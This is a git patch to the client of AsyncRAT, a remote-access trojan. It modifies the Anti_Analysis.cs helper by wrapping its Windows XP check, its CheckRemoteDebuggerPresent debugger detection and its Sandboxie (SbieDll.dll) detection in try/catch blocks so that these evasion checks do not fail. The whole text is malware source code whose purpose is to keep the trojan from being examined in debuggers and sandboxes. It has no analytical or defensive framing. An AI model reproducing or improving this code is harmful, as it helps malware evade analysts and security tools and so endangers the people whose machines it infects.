From a85365a836716975dfd037fb0bcf0f5cf432b2a6 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Mon, 16 Sep 2019 13:47:45 +0300 Subject: [PATCH] Update Anti_Analysis.cs --- AsyncRAT-C#/Client/Helper/Anti_Analysis.cs | 32 +++++++++++++++++----- 1 file changed, 25 insertions(+), 7 deletions(-) diff --git a/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs b/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs index 3bca0d6..1fbabf1 100644 --- a/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs +++ b/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs @@ -42,10 +42,14 @@ namespace Client.Helper private static bool IsXP() { - if (new Microsoft.VisualBasic.Devices.ComputerInfo().OSFullName.ToLower().Contains("xp")) + try { - return true; + if (new Microsoft.VisualBasic.Devices.ComputerInfo().OSFullName.ToLower().Contains("xp")) + { + return true; + } } + catch { } return false; } @@ -77,16 +81,30 @@ namespace Client.Helper private static bool DetectDebugger() { bool isDebuggerPresent = false; - CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent); - return isDebuggerPresent; + try + { + CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent); + return isDebuggerPresent; + } + catch + { + return isDebuggerPresent; + } } private static bool DetectSandboxie() { - if (GetModuleHandle("SbieDll.dll").ToInt32() != 0) - return true; - else + try + { + if (GetModuleHandle("SbieDll.dll").ToInt32() != 0) + return true; + else + return false; + } + catch + { return false; + } }